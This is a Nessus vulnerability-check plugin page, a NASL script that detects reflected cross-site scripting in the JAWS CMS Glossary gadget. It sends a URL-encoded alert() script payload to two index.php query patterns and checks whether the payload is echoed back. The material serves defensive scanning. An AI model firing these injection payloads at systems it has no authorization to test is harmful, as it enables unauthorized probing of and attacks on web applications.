JAWS Glossary Gadget Multiple XSS

2005-08-08T00:00:00
ID JAWS_XSS.NASL
Type nessus
Reporter Copyright (C) 2005-2018 Josh Zlatin-Amishav
Modified 2020-01-02T00:00:00

Description

The remote host is running JAWS, a content management system written in PHP. The remote version of this software does not perform a proper validation of user-supplied input to several variables used in the

                                        
                                            #
# This script was written by Josh Zlatin-Amishav
#
# This script is released under the GNU GPLv2.
#

# Changes by Tenable:
#   - added CVE xrefs.
#   - added details about the problem to the description.
#   - added See also and Solution.
#   - fixed script family.
#   - fixed exploit and extended it to cover versions 0.4.x.
#   - revised plugin title (4/30/09)
#   - changed cross site scripting to cross-site scripting (05/27/11)
#   - Fixed typos and added a CPE (10/08/12)

include("compat.inc");

if(description)
{
 script_id(19394);
 script_version ("1.20");
 script_cve_id("CVE-2005-1231", "CVE-2005-1800");
 script_bugtraq_id(13254, 13796);

 script_name(english:"JAWS Glossary Gadget Multiple XSS");

 script_set_attribute(attribute:"synopsis", value:
"A remote web application is vulnerable to cross-site scripting attacks." );
 script_set_attribute(attribute:"description", value:
"The remote host is running JAWS, a content management system written in 
PHP.
The remote version of this software does not perform a proper validation
of user-supplied input to several variables used in the 
'GlossaryModel.php' script, and is, therefore, vulnerable to cross-site
scripting attacks." );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2005/Apr/416" );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2005/May/646" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to JAWS 0.5.2 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);

 script_set_attribute(attribute:"plugin_publication_date", value: "2005/08/08");
 script_set_attribute(attribute:"vuln_publication_date", value: "2005/04/18");
 script_cvs_date("Date: 2018/11/15 20:50:19");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe",value:"cpe:/a:jaws:jaws");
script_end_attributes();


 script_summary(english:"Checks for HTML injection vulnerabilities in JAWS");
 script_category(ACT_ATTACK);

 script_family(english:"CGI abuses : XSS");
 script_copyright(english:"Copyright (C) 2005-2018 Josh Zlatin-Amishav");

 script_dependencies("http_version.nasl", "cross_site_scripting.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_require_keys("www/PHP");
 exit(0);
}

include("global_settings.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("url_func.inc");

port = get_http_port(default:80);
if(!get_port_state(port))exit(0);
if ( get_kb_item("www/"+port+"/generic_xss") ) exit(0);
if(!can_host_php(port:port)) exit(0);

# A simple alert.
xss = "<script>alert('" + SCRIPT_NAME + "');</script>";
# nb: the url-encoded version is what we need to pass in.
exss = urlencode(str:xss);


# Exploits
exploits = make_list(
  # for 0.5.x
  string("gadget=Glossary&action=ViewTerm&term=", exss),
  # for 0.4.x
  string("gadget=Glossary&action=view&term=", exss)
);


foreach dir ( cgi_dirs() ) {
  foreach exploit (exploits) {
    req = http_get(item:string(dir, "/index.php?", exploit), port:port);
    res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);

    if (
      'Term does not exists' >< res && 
      xss >< res
    ) {
      security_warning(port);
      set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
      exit(0);
    }
  }
}